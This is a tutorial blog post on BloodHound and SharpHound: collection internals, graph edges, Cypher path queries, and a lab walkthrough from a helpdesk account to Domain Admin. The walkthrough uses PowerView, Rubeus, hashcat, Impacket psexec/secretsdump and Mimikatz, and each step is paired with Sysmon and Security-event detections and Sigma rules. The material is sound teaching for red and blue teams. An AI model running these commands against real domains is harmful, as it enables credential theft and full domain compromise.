BloodHound and SharpHound: Collection Methods, Edges, and Cypher Hunting for Attack Paths

By Debraj Basak·Jun 25, 2026·21 min readActive Directory Exploitation

You have a single low-privilege domain account. Somewhere in this forest sits a path of misconfigurations that walks you straight to Domain Admin, and the only thing standing between you and that path is knowing it exists. That is the entire premise of BloodHound. Active Directory privilege escalation is not magic, it is a graph traversal problem, and SharpHound is the tool that turns a messy domain into a database you can query.

Objective: Understand how SharpHound collects Active Directory data over LDAP and SMB/DCERPC, how BloodHound models that data as a directed attack-path graph, how to hunt choke-point paths with Cypher, and how to chain edges into Domain Admin in a lab, paired with the exact telemetry a defender uses to catch every step.


1. What BloodHound Actually Is

BloodHound is a graph analysis platform built on the Neo4j graph database. Every object in Active Directory becomes a node: users, groups, computers, organizational units (OUs), group policy objects (GPOs), and domains. Every relationship between those objects becomes a directed edge: group membership, ACL permissions, active sessions, trust relationships.

The directionality is the whole point. An edge HELPDESK1 -[GenericAll]-> SVC_SQL means helpdesk1 controls svc_sql, not the other way round. Privilege flows along the arrows. When you ask “how do I get from this account to Domain Admins”, you are literally asking Neo4j for a shortest path through a directed graph, and the database answers in milliseconds what would take a human days of manual ACL spelunking.

The current release is BloodHound Community Edition (CE). It ships as a standalone web UI deployed through Docker (or natively) with a Neo4j backend, replacing the legacy Electron desktop app. SharpHound CE is the official collector, written in C#, and it feeds JSON into Neo4j where the data is stored as nodes and relationships and rendered as the familiar attack-path diagrams.

Why model it this way? Because AD permissions are transitive and non-obvious. A user is a member of a group, which is nested inside another group, which has GenericWrite over a third group, which is local admin on a box where a Domain Admin happens to have a session. No human tracks that. A graph database does it for free with one query.


Conceptual illustration of a directed privilege graph with a path winding from a low-privilege node toward a central domain-admin crown
BloodHound models every AD object as a node and every relationship as a directed edge, turning privilege escalation into a graph shortest-path problem.

2. Lab Setup

Build everything against your own range. Nothing here runs against production.

The lab is three machines:

HostRoleOS
DC01Domain controller, lab.localWindows Server 2022
WS01Domain-joined workstationWindows 10/11
WS02Domain-joined workstationWindows 10/11

Promote DC01 to a domain controller for lab.local, join both workstations, then inject the deliberate misconfigurations. This is the vulnerable target. Run the following on DC01 in an elevated PowerShell session.

# On DC01 - inject deliberate misconfigurations for the lab
Import-Module ActiveDirectory

# Create users
New-ADUser -Name "helpdesk1" -AccountPassword (ConvertTo-SecureString "P@ssw0rd1!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "svc_sql"   -AccountPassword (ConvertTo-SecureString "Sqlpass123!" -AsPlainText -Force) -Enabled $true
New-ADUser -Name "da_user"   -AccountPassword (ConvertTo-SecureString "DaPass456!" -AsPlainText -Force)  -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "da_user"

# Register SPN on svc_sql (makes it Kerberoastable)
Set-ADUser svc_sql -ServicePrincipalNames @{Add="MSSQLSvc/WS01.lab.local:1433"}

# Grant helpdesk1 GenericAll over svc_sql (ACL misconfiguration)
$acl = Get-ACL "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"
$sid = (Get-ADUser helpdesk1).SID
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($sid, "GenericAll", "Allow")
$acl.AddAccessRule($ace)
Set-ACL -AclObject $acl "AD:\$(Get-ADUser svc_sql | Select-Object -ExpandProperty DistinguishedName)"

# Enable unconstrained delegation on WS01
Set-ADComputer WS01 -TrustedForDelegation $true

# Grant helpdesk1 RDP rights on a workstation
Add-ADGroupMember -Identity "Remote Desktop Users" -Members "helpdesk1"
# Verification output
Name      SamAccountName  Enabled
----      --------------  -------
helpdesk1 helpdesk1       True
svc_sql   svc_sql         True
da_user   da_user         True

ServicePrincipalNames : {MSSQLSvc/WS01.lab.local:1433}
TrustedForDelegation  : True   (WS01)

Now stand up BloodHound CE on your operator box (Linux or Windows with Docker).

# BloodHound CE via Docker Compose (one-time setup)
git clone https://github.com/SpecterOps/BloodHound.git
cd BloodHound
docker compose -f docker-compose.yml up -d
[+] Running 4/4
  - Container bloodhound-app-db-1     Started
 - Container bloodhound-graph-db-1   Started
 - Container bloodhound-bloodhound-1 Started
Initial password printed to logs. Browse to http://localhost:8080

Grab the bootstrap admin password from the container logs, log in at http://localhost:8080, and confirm Neo4j connectivity by checking the database info panel. You now have an empty graph waiting for data.


3. SharpHound Internals

Before running the collector, understand what it actually does on the wire. Detection lives in these details, and so does opsec.

Transport and Protocol Layer

SharpHound collects through three Windows data-gathering channels:

  • LDAP(S) to domain controllers. This is how it enumerates the AD structure itself: every object, every attribute, every ACL. LDAP is the directory query protocol, and a DC will happily answer authenticated queries for almost the entire schema because most attributes are world-readable to any authenticated user. That single fact is what makes DCOnly collection so effective and so quiet relative to session hunting.
  • SMB with DCERPC to domain-joined hosts. Named pipes carry remote procedure calls to enumerate permissions and session data the DC does not hold.
  • Remote SAM and Remote Registry for local group membership and logged-on user enumeration.

.NET API Internals

Older ingestors used the DirectorySearcher class in the System.ActiveDirectory namespace. That class is convenient but drags in ADSI and COM overhead, producing more traffic and lower performance. SharpHound moved to the lower-level System.ActiveDirectory.Protocols namespace, driving LDAP directly with LdapConnection paired with SearchRequest and SearchResponse. Fewer round trips, tighter control over filters, less noise.

LDAP results are streamed, not buffered whole. The maximum size of the BlockingCollection used to collect data from LDAP is set to 1,000 items. The producer keeps the input queue full while consumers drain it, so SharpHound holds only 1,000 objects in memory at a time regardless of forest size. That producer-consumer pattern is why a 200,000-object forest does not blow out memory.

Windows APIs SharpHound Calls

API FunctionPurpose
NetSessionEnum (srvcli.dll)Enumerate active SMB sessions to find which users are logged on where
NetWkstaUserEnum (netapi32.dll)Enumerate interactive, service, and batch logons on a host
RegEnumKeyEx (advapi32.dll)Read registry to identify interactively logged-on users via their SIDs under HKU
NetLocalGroupGetMembersLegacy local group membership query, internally a series of SAMRPC calls

That last entry hides a classic gotcha. Asking NetLocalGroupGetMembers for the group literally named Administrators works in English domains and breaks on localized ones (German, French, and so on use translated group names). Watch the call in Wireshark and it decomposes into several SAMRPC library calls against the remote SAM. Modern SharpHound resolves groups by RID instead, which is also why the named-pipe \samr traffic is such a reliable detection anchor.


4. Collection Methods Deep Dive

The collector is driven by -c / --collectionmethods. The full set of values:

FlagData CollectedNoise
DefaultGroup, trusts, local group, sessions, ACLs, object props, SPN targetsMedium-high
DCOnlyEverything queryable from the DC over LDAP: groups, ACLs, GPOs, trusts. No sessionsLow
SessionLogged-on sessions via NetSessionEnum / NetWkstaUserEnumHigh (lateral)
LoggedOnPrivileged session enumeration via registry and wkssvcHigh
LocalGroupLocal group membership via SAMRPCMedium
ACLDACLs on AD objectsLow
ObjectPropsFull object attributesLow
TrustsDomain and forest trust relationshipsLow
UserRightsUser Rights Assignments (URAs) for accurate CanRDPMedium
CARegistry / DCRegistry / CertServicesADCS CA config for ESC edgesMedium
Container, GPOLocalGroup, RDP, DCOM, ComputerOnly, WebClientService, NTLMRegistry, SMBInfo, LdapServicesTargeted sub-collectionsVaries

A few of these matter more than their one-line summary suggests.

UserRights is what lets BloodHound stop guessing. User Rights Assignments define what a principal can do on a system independent of group membership. Before SharpHoundCommon v3, BloodHound inferred CanRDP purely from Remote Desktop Users membership. Collecting URAs lets it compute the edge accurately, including the deny rights that silently override allows.

The ADCS registry flags drive Certified Pre-Owned edges. SharpHound reads CA configuration under SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA Name>, including EnrollmentAgentRights (used to calculate ESC3) and checks for the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (required for ESC6). It also collects Kdc\StrongCertificateBindingEnforcement and Schannel\CertificateMappingMethods from DCs, which feed ESC6, ESC9, and ESC10 edge calculation.

Now run it. From a domain-joined operator host:

SharpHound.exe --CollectionMethods All --Domain lab.local --ZipFilename lab_data.zip
2024-XX-XX  Initializing SharpHound at 14:02 on lab.local
2024-XX-XX  Resolved current domain to lab.local
2024-XX-XX  Loaded cache with stats: 0 ID to type mappings.
2024-XX-XX  Status: 0 objects finished (+0)  --  Using 28 MB RAM
2024-XX-XX  Beginning LDAP search for lab.local
2024-XX-XX  Producer has finished, closing LDAP channel
2024-XX-XX  Status: 412 objects finished (+412 51.5)/s  --  Using 41 MB RAM
2024-XX-XX  Enumeration finished in 00:00:09.1
2024-XX-XX  SharpHound Enumeration Completed at 14:02
2024-XX-XX  Saving cache with stats: 187 ID to type mappings.
2024-XX-XX  Output written to: 20240XX-lab_data.zip

For an opsec comparison, the DC-only variant never touches the workstations:

SharpHound.exe --CollectionMethods DCOnly --Domain lab.local
2024-XX-XX  Beginning LDAP search for lab.local
2024-XX-XX  Status: 398 objects finished (+398 99.5)/s  --  Using 39 MB RAM
2024-XX-XX  Enumeration finished in 00:00:04.0

Note the difference: All makes network connections to every reachable domain-joined computer to query sessions, generating the lateral SMB traffic that lights up network detections. DCOnly talks to one host. For sessions you can loop:

SharpHound.exe --CollectionMethods Session --Loop --Loopduration 01:00:00 --LoopInterval 00:05:00
2024-XX-XX  Looping enabled. Loops will start after initial enumeration
2024-XX-XX  Starting loop 1 at 14:10
2024-XX-XX  Loop 1 finished, sleeping 00:05:00

If your operator box is not domain joined, prime the credential cache first:

runas /netonly /user:lab\helpdesk1 cmd.exe
Enter the password for lab\helpdesk1:
Attempting to start cmd.exe as user "lab\helpdesk1" ...

Then run SharpHound inside that shell. The /netonly flag uses those credentials for network authentication while keeping your local context, which is exactly how you collect from a foothold without a domain join.


Hierarchy diagram showing SharpHound splitting into LDAP and SMB/DCERPC channels, LDAP targeting the domain controller for objects and ACLs, SMB targeting domain hosts for sessions and local groups via the remote SAM named pipe
SharpHound drives LDAP directly to the DC for directory data and uses SMB/DCERPC named pipes to hosts for session and local-group enumeration.

5. Edge Catalogue and Abuse Chains

Edges are the verbs of the graph. Each one is a concrete abuse primitive.

EdgeMeaningAbuse Primitive
MemberOfGroup membershipTransitive privilege traversal
AdminToLocal admin on a computerPsExec, DCOM, WMI execution
HasSessionActive session on a computerCredential dump (Mimikatz)
CanRDPRDP rightsLateral movement
ExecuteDCOMDCOM exec rightsLateral movement
CanPSRemoteWinRM/PSRemote rightsLateral movement
SQLAdminSQL admin linkSQL query execution
TrustedByDomain trustCross-domain attack
Contains / GpLinkOU containment / linked GPOGPO abuse over scoped objects
AllowedToDelegateConstrained delegationKerberos ticket forgery
AllowedToActResource-based constrained delegationRBCD attack
GetChanges + GetChangesAllDCSync rights (both required)lsadump::dcsync
ReadLAPSPasswordRead LAPS admin passwordPlaintext retrieval
AddMemberAdd members to groupPrivilege escalation

The ACL edges deserve precise definitions because they are the bulk of real-world paths:

  • GenericAll: full object control. Add principals to a group, reset a user password without knowing the old one, register an SPN on a user object. Abused with Set-DomainUserPassword or Add-DomainGroupMember.
  • GenericWrite: update any non-protected attribute. Set scriptPath on a target user to run your executable at next logon. Abused with Set-DomainObject.
  • WriteOwner: change object ownership. Make yourself owner, then grant yourself anything. Abused with Set-DomainObjectOwner.
  • WriteDACL: write a new ACE to the object’s DACL, granting yourself full control. The owner-to-full-control pivot pairs with WriteOwner.
  • ForceChangePassword: reset the target’s password blind. Abused with Set-DomainUserPassword.
  • AllExtendedRights: all extended rights including reading confidential attributes like ms-Mcs-AdmPwd (LAPS) and forcing password resets.

Why are these abusable at the protocol level? A DACL on an AD object is a list of access control entries (ACEs), each binding a SID to a set of rights. The directory enforces those rights but does not care whether granting helpdesk a GenericAll ACE over a service account makes operational sense. Permission sprawl from years of helpdesk delegation, vendor installers, and copy-pasted ACLs leaves these ACEs scattered everywhere. BloodHound just reads them and draws the arrow.

Unconstrained delegation is the highest-value edge in most forests. A computer trusted for unconstrained delegation caches the Kerberos TGT of every user who authenticates to it. Compromise that box, coerce a domain controller to authenticate to it (PrinterBug/SpoolSample or PetitPotam), and you capture the DC’s own TGT. With the DC’s TGT you request service tickets as anyone, including Domain Admins. Find these machines with one Cypher line:

MATCH (c:Computer {unconstraineddelegation: true}) RETURN c.name

Token privileges and logon rights round out what ACL-only graphs miss. Privileges like SeBackupPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, and SeAssignPrimaryTokenPrivilege bypass DACL checks entirely, so mapping them domain-wide exposes local privilege-escalation edges. Logon rights (SeInteractiveLogonRight, SeRemoteInteractiveLogonRight, SeNetworkLogonRight, SeServiceLogonRight, SeBatchLogonRight, plus their SeDeny* counterparts) are enforced by LSA before a token even exists, and the deny variants take precedence. They gate lateral movement at the door, which is why UserRights collection sharpens every movement edge.


6. Cypher Query Hunting

Cypher is Neo4j’s query language. The mental model: MATCH a pattern, optionally WHERE-filter it, RETURN the result. Patterns are drawn ASCII-art style with () for nodes and -[]-> for directed edges.

First, mark your foothold as owned. The owned flag drives the most useful pre-built queries.

MATCH (u:User {name: "HELPDESK1@LAB.LOCAL"}) SET u.owned = true RETURN u
+----------------------------------------------------+
| u                                                  |
+----------------------------------------------------+
| (:User:Base {name:"HELPDESK1@LAB.LOCAL",           |
|  owned:true, objectid:"S-1-5-21-1840...-1105"})    |
+----------------------------------------------------+

Now ask the central question: what is the shortest path from this owned account to Domain Admins?

MATCH p = shortestPath(
  (u:User {owned: true})-[*1..]->(g:Group {name: "DOMAIN ADMINS@LAB.LOCAL"})
) RETURN p
1 path returned
HELPDESK1@LAB.LOCAL
  -[GenericAll]-> SVC_SQL@LAB.LOCAL
  -[AdminTo]->    WS02.LAB.LOCAL
  -[HasSession]-> DA_USER@LAB.LOCAL
  -[MemberOf]->   DOMAIN ADMINS@LAB.LOCAL

There it is. Four edges from helpdesk to Domain Admin. The [*1..] means “one or more edges of any type”, and shortestPath returns the tightest route. Use allShortestPaths when you want every equally short option.

Hunt the ACL abuse opportunities directly:

MATCH p = (n:User)-[:GenericAll]->(m:User) RETURN p
HELPDESK1@LAB.LOCAL -[GenericAll]-> SVC_SQL@LAB.LOCAL

Find Kerberoastable accounts (those with an SPN set):

MATCH (u:User {hasspn: true}) RETURN u.name, u.serviceprincipalnames
+---------------------+-----------------------------------+
| u.name              | u.serviceprincipalnames           |
+---------------------+-----------------------------------+
| SVC_SQL@LAB.LOCAL   | ["MSSQLSvc/WS01.lab.local:1433"]  |
+---------------------+-----------------------------------+

Run choke-point analysis. The accounts with the most AdminTo reach are the ones you defend or attack first:

MATCH (u:User)-[r:MemberOf|AdminTo*1..]->(c:Computer)
WITH u.name AS name, COUNT(DISTINCT c) AS count
RETURN name, count ORDER BY count DESC LIMIT 10
+------------------------+-------+
| name                   | count |
+------------------------+-------+
| DA_USER@LAB.LOCAL      | 3     |
| SVC_SQL@LAB.LOCAL      | 1     |
+------------------------+-------+

Find principals that can DCSync (both GetChanges and GetChangesAll are required, so query the intersection):

MATCH p = (n)-[:GetChanges]->(d:Domain)
MATCH q = (n)-[:GetChangesAll]->(d)
RETURN n.name, d.name
+-------------------------------+------------+
| n.name                        | d.name     |
+-------------------------------+------------+
| DOMAIN ADMINS@LAB.LOCAL       | LAB.LOCAL  |
| ENTERPRISE ADMINS@LAB.LOCAL   | LAB.LOCAL  |
+-------------------------------+------------+

That intersection logic matters. A principal with only one of the two rights cannot replicate secrets; BloodHound’s DCSync edge correctly requires both, and so should your hunting query.


7. Adversary Emulation Walkthrough

End to end in the lab. Enumeration first at every step, then exploitation, with the telemetry each action generates.

Step 1: Enumerate the ACL Opportunity

Before touching svc_sql, confirm the GenericAll edge BloodHound surfaced is real. Use PowerView from your helpdesk1 context.

Import-Module .\PowerView.ps1
$sid = (Get-DomainUser helpdesk1).objectsid
Get-DomainObjectAcl -Identity svc_sql -ResolveGUIDs |
  ? { $_.SecurityIdentifier -eq $sid } |
  Select SecurityIdentifier, ActiveDirectoryRights
SecurityIdentifier                            ActiveDirectoryRights
------------------                            ---------------------
S-1-5-21-1840391731-2024753214-3672591890-1105 GenericAll

That confirms helpdesk1 holds GenericAll over svc_sql. GenericAll includes the right to reset the password without the current value, so this account is fully ours to take over.

Step 2: Abuse GenericAll, Force a Password Reset

Set-DomainUserPassword -Identity svc_sql `
  -AccountPassword (ConvertTo-SecureString "NewPass1!" -AsPlainText -Force) -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'svc_sql'
VERBOSE: [Set-DomainUserPassword] Password for user 'svc_sql' successfully reset

This emits Windows Security event 4724 (password reset attempt) on the DC. A reset performed by a helpdesk account against a service account with an SPN is exactly the anomaly a defender should alert on.

Step 3: Optional Kerberoast Path

If you would rather not change the password (resets are loud), Kerberoast svc_sql instead. Here is the protocol reasoning that makes this work.

Kerberos authentication has two exchanges. In the AS exchange, the client proves identity to the Key Distribution Center (KDC) and receives a Ticket Granting Ticket (TGT), encrypted with the krbtgt key. In the TGS exchange, the client presents the TGT and asks for a service ticket to a named service principal (SPN). The KDC returns a service ticket whose encrypted portion is sealed with the NTLM hash of the service account that owns that SPN. The ticket also carries the PAC, which holds the user’s group memberships. Any authenticated user can request a service ticket for any SPN. Because the encrypted blob is sealed with the service account’s password-derived key, you can take it offline and brute-force the account password. That is Kerberoasting.

Find roastable accounts first, then request the ticket:

Get-DomainUser -SPN | Select samaccountname, serviceprincipalname
samaccountname serviceprincipalname
-------------- --------------------
svc_sql        MSSQLSvc/WS01.lab.local:1433
Rubeus.exe kerberoast /user:svc_sql /outfile:svc_sql.hash
[*] Action: Kerberoasting
[*] Target User            : svc_sql
[*] SamAccountName         : svc_sql
[*] ServicePrincipalName   : MSSQLSvc/WS01.lab.local:1433
[*] Hash written to : svc_sql.hash

   $krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc/WS01...*$A1B2C3...8F9E$D4E5...(snip)
hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_sql$LAB.LOCAL$MSSQLSvc...:Sqlpass123!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%) Digests

The TGS request shows up as event 4769 on the DC. A single account requesting a TGS for an MSSQLSvc/ SPN with RC4 encryption (etype 23) is the canonical Kerberoasting indicator.

Step 4: Enumerate the AdminTo Edge

BloodHound says svc_sql is local admin on WS02. Verify before moving.

$cred = Get-Credential lab\svc_sql
Get-NetLocalGroupMember -ComputerName WS02.lab.local -GroupName Administrators
ComputerName : WS02.lab.local
GroupName    : Administrators
MemberName   : LAB\svc_sql
SID          : S-1-5-21-1840391731-2024753214-3672591890-1106
IsGroup      : False
IsDomain     : True

Step 5: AdminTo, Get Code Execution on WS02

Invoke-Command -ComputerName WS02.lab.local -Credential $cred -ScriptBlock { whoami }
lab\svc_sql

Or with Impacket from a Linux operator host:

python3 psexec.py lab/svc_sql:'NewPass1!'@WS02.lab.local
[*] Requesting shares on WS02.lab.local.....
[*] Found writable share ADMIN$
[*] Uploading file XbHkPqWz.exe
[*] Opening SVCManager on WS02.lab.local.....
[*] Creating service ZxQp on WS02.lab.local.....
[*] Starting service ZxQp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19045]
C:\Windows\system32> whoami
nt authority\system

PsExec triggers Sysmon EventID 1 for the service binary, a 5145 for the ADMIN$ write, and a 7045 (service install) in the System log. Three independent breadcrumbs for one technique.

Step 6: HasSession, Dump Credentials

BloodHound flagged a da_user session on WS02. With SYSTEM on that box, harvest it from LSASS memory. The PAC is irrelevant here; what you want are the logon credentials LSASS caches for interactive sessions.

Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Authentication Id : 0 ; 4923871 (00000000:004b21df)
Session           : Interactive from 2
User Name         : da_user
Domain            : LAB
SID               : S-1-5-21-1840391731-2024753214-3672591890-1107
        msv :
         [00000003] Primary
         * Username : da_user
         * Domain   : LAB
         * NTLM     : 5f4dcc3b5aa765d61d8327deb882cf99
         * SHA1     : 8be3c943b1609fffbfc51aad666d0a04adf83c9d
        wdigest :
         * Username : da_user
         * Domain   : LAB
         * Password : (null)

That sekurlsa read requires opening the LSASS process, which generates Sysmon EventID 10 (ProcessAccess) with the GrantedAccess mask defenders watch for, plus use of SeDebugPrivilege logged as 4673.

Step 7: Verify Domain Admin

Pass the captured hash. With the NTLM hash you authenticate without ever knowing the plaintext, because NTLM authentication proves knowledge of the hash, not the password.

python3 secretsdump.py -hashes :5f4dcc3b5aa765d61d8327deb882cf99 lab/da_user@DC01.lab.local
[*] Target system bootKey: 0x8f2c...
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b...:c0b8...:::
krbtgt:502:aad3b...:9d8e...:::
da_user:1107:aad3b...:5f4dcc3b5aa765d61d8327deb882cf99:::
[*] Cleaning up...

DCSync against the domain. The walk is complete: helpdesk1 to Domain Admin in seven moves, every one of them an edge BloodHound drew for you in advance.


Flow diagram showing the four-edge attack chain from helpdesk1 through svc_sql and WS02 to Domain Admins via GenericAll, AdminTo, HasSession, and MemberOf edges
The complete lab attack path: four BloodHound edges translate directly into four exploitation steps from a helpdesk account to full domain compromise.

8. Common Attacker Techniques

TechniqueDescription
ACL abuse chainingHop GenericAll/GenericWrite/WriteDACL edges into password resets or group adds
KerberoastingRequest TGS for SPN accounts, crack offline for service credentials
Session huntingEnumerate HasSession edges to locate privileged credentials in memory
Unconstrained delegation coercionCapture DC TGT via PrinterBug/PetitPotam on a delegation host
RBCDAbuse AllowedToAct to impersonate any user to a target service
DCSyncReplicate secrets using combined GetChanges + GetChangesAll rights
LAPS readRetrieve local admin passwords via ReadLAPSPassword / AllExtendedRights
ADCS escalationExploit ESC3/ESC6/ESC9/ESC10 edges from collected CA registry data

9. Defensive Strategies and Detection

SharpHound is loud if you know where to look. The collection generates a recognizable burst of LDAP and SMB activity from a single source, and the abuse steps each leave their own trail.

Sysmon Event IDs

Event IDWhat to monitor
EventID 1SharpHound.exe process create; OriginalFileName still reads SharpHound even when renamed
EventID 3Rapid outbound connections to many hosts on ports 389, 445, 636 from one source
EventID 7netapi32.dll, srvcli.dll loaded by unusual processes
EventID 10ProcessAccess to LSASS during credential dumping
EventID 18Named pipe connects to \samr, \srvsvc, \wkssvc, \winreg from one source

Windows Security Audit Events

Event IDWhat to monitor
4662High-volume LDAP object access enumerating user, computer, group
4624 / 4648Same account authenticating to many hosts rapidly
4769Multiple TGS requests for MSSQLSvc/ or other SPNs from one account (Kerberoasting)
4724Password reset, especially helpdesk against a service account
4673Sensitive privilege use such as SeDebugPrivilege
5145Share access auditing on ADMIN$ and named-pipe shares

ETW Providers

  • Microsoft-Windows-LDAP-Client captures the exact client-side LDAP filters SharpHound issues.
  • Microsoft-Windows-Security-Auditing sources the 4662/4769 family.
  • Microsoft-Windows-SMBClient and Microsoft-Windows-SMBServer provide named-pipe access telemetry.

Detection Heuristics and Sigma

The single most reliable behavioral tell is named-pipe correlation. A connection to the winreg and wkssvc pipes under the same account from the same host points at the LoggedOn method. A connection to samr and srvsvc under the same account points at LocalGroup, RDP, DCOM, or ComputerOnly, usually accompanied by access to ports 389 and 445 from that source.

title: SharpHound Named-Pipe Enumeration Pattern
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 18
    PipeName|contains:
      - '\samr'
      - '\srvsvc'
      - '\wkssvc'
      - '\winreg'
  timeframe: 1m
  condition: selection | count(PipeName) by SourceProcessId > 3
level: high
title: SharpHound Binary Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection_orig:
    EventID: 1
    OriginalFileName: 'SharpHound.exe'
  selection_img:
    EventID: 1
    Image|endswith: '\SharpHound.exe'
  condition: selection_orig or selection_img
level: high

Mature EDRs already flag the public SharpHound binary, but threat actors recompile and obfuscate it routinely. Reliable detection is therefore defense-in-depth: behavioral named-pipe correlation, LDAP volume thresholds, and Kerberos request anomalies, not signature matching alone.

Hardening Driven by BloodHound Output

The same graph that attacks you also tells you what to fix. Audit ACLs and strip GenericAll/WriteDACL/WriteOwner from principals that have no business holding them; most are permission-sprawl residue. Disable unconstrained delegation and migrate to constrained or RBCD. Enforce tiered administration so Domain Admins only log into domain controllers, server admins only into servers, workstation admins only into workstations; this severs the HasSession edges that feed credential-dumping paths. Deploy LAPS to randomize local admin passwords and kill credential-reuse lateral movement. Restrict Remote SAM with the “Network access: Restrict clients allowed to make remote calls to SAM” policy, which from Windows 10 1607 and Server 2016 already requires admin access by default. Finally, seed honey accounts: decoy users mixed among real ones that no legitimate process should ever touch, so any enumeration of them is high-confidence malicious.


Conceptual illustration of a defensive watchtower monitoring network named-pipe connections with radar and spotlights to detect enumeration activity
Reliable SharpHound detection layers named-pipe correlation, LDAP volume thresholds, and Kerberoasting anomalies rather than relying on binary signatures alone.

10. Tools for AD Path Analysis

ToolDescriptionLink
BloodHound CEGraph UI and Neo4j backend for attack-path analysisgithub.com/SpecterOps
SharpHound CEOfficial C# collectorgithub.com/SpecterOps
RustHound-CECross-platform CE collector for Linux/macOS/Windowsgithub.com
BloodHound.pyPython ingestor, supports pass-the-hash, lacks GPO collectiongithub.com
NetExecQuick LDAP-driven collection via --bloodhoundgithub.com
SoapHoundADWS-based collector using obfuscated LDAP over SOAPgithub.com
PowerView / PowerSploitACL enumeration and abusegithub.com
RubeusKerberoasting and ticket manipulationgithub.com
Impacketpsexec, wmiexec, secretsdumpgithub.com
Neo4j BrowserDirect Cypher queryingneo4j.com

Alternate collectors matter for opsec and platform. RustHound-CE and NetExec collect from Linux. BloodHound.py performs pass-the-hash so you can collect with a captured NT hash, though it mostly misses GPO methods. SoapHound talks to AD Web Services over HTTP(S) SOAP and uses an obfuscated LDAP query to hide intent, which sidesteps detections keyed on conventional LDAP filters.


11. MITRE ATT&CK Mapping

BloodHound is catalogued as Software S0521, an Active Directory reconnaissance tool that reveals hidden relationships and identifies attack paths.

TechniqueMITRE IDDetection
Account Discovery: Domain AccountT1087.0024662 LDAP enumeration of user objects
Permission Groups Discovery: Domain GroupsT1069.0024662 group membership enumeration
Domain Trust DiscoveryT1482Trusts collection, LDAP trust queries
System Network Connections DiscoveryT1049Sysmon EventID 18 session enumeration pipes
Steal or Forge Kerberos Tickets: KerberoastingT1558.0034769 TGS requests with RC4
OS Credential Dumping: LSASS MemoryT1003.001Sysmon EventID 10, 4673
OS Credential Dumping: DCSyncT1003.0064662 with replication GUIDs
Account ManipulationT10984724 password reset, group changes
Use Alternate Authentication Material: PtHT1550.0024624 Type 3 with NTLM

Summary

  • AD privilege escalation is a directed-graph shortest-path problem, and BloodHound turns a sprawling domain into a database that solves it in milliseconds.
  • SharpHound collects over LDAP(S) and SMB/DCERPC, driving LdapConnection directly and streaming through a 1,000-item BlockingCollection, calling NetSessionEnum, NetWkstaUserEnum, RegEnumKeyEx, and SAMRPC under the hood.
  • Collection methods trade coverage for noise: DCOnly is quiet LDAP-only recon, All adds loud session hunting against every reachable host.
  • Edges are abuse primitives. The lab chain GenericAll to password reset to AdminTo to HasSession to Domain Admin is four arrows BloodHound draws before you fire a single command.
  • Detect collection via named-pipe correlation (Sysmon EventID 18 on samr/srvsvc/wkssvc/winreg), LDAP volume on 4662, and Kerberoasting on 4769; remediate by killing HasSession edges with tiered administration and stripping permission-sprawl ACEs the graph exposes.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.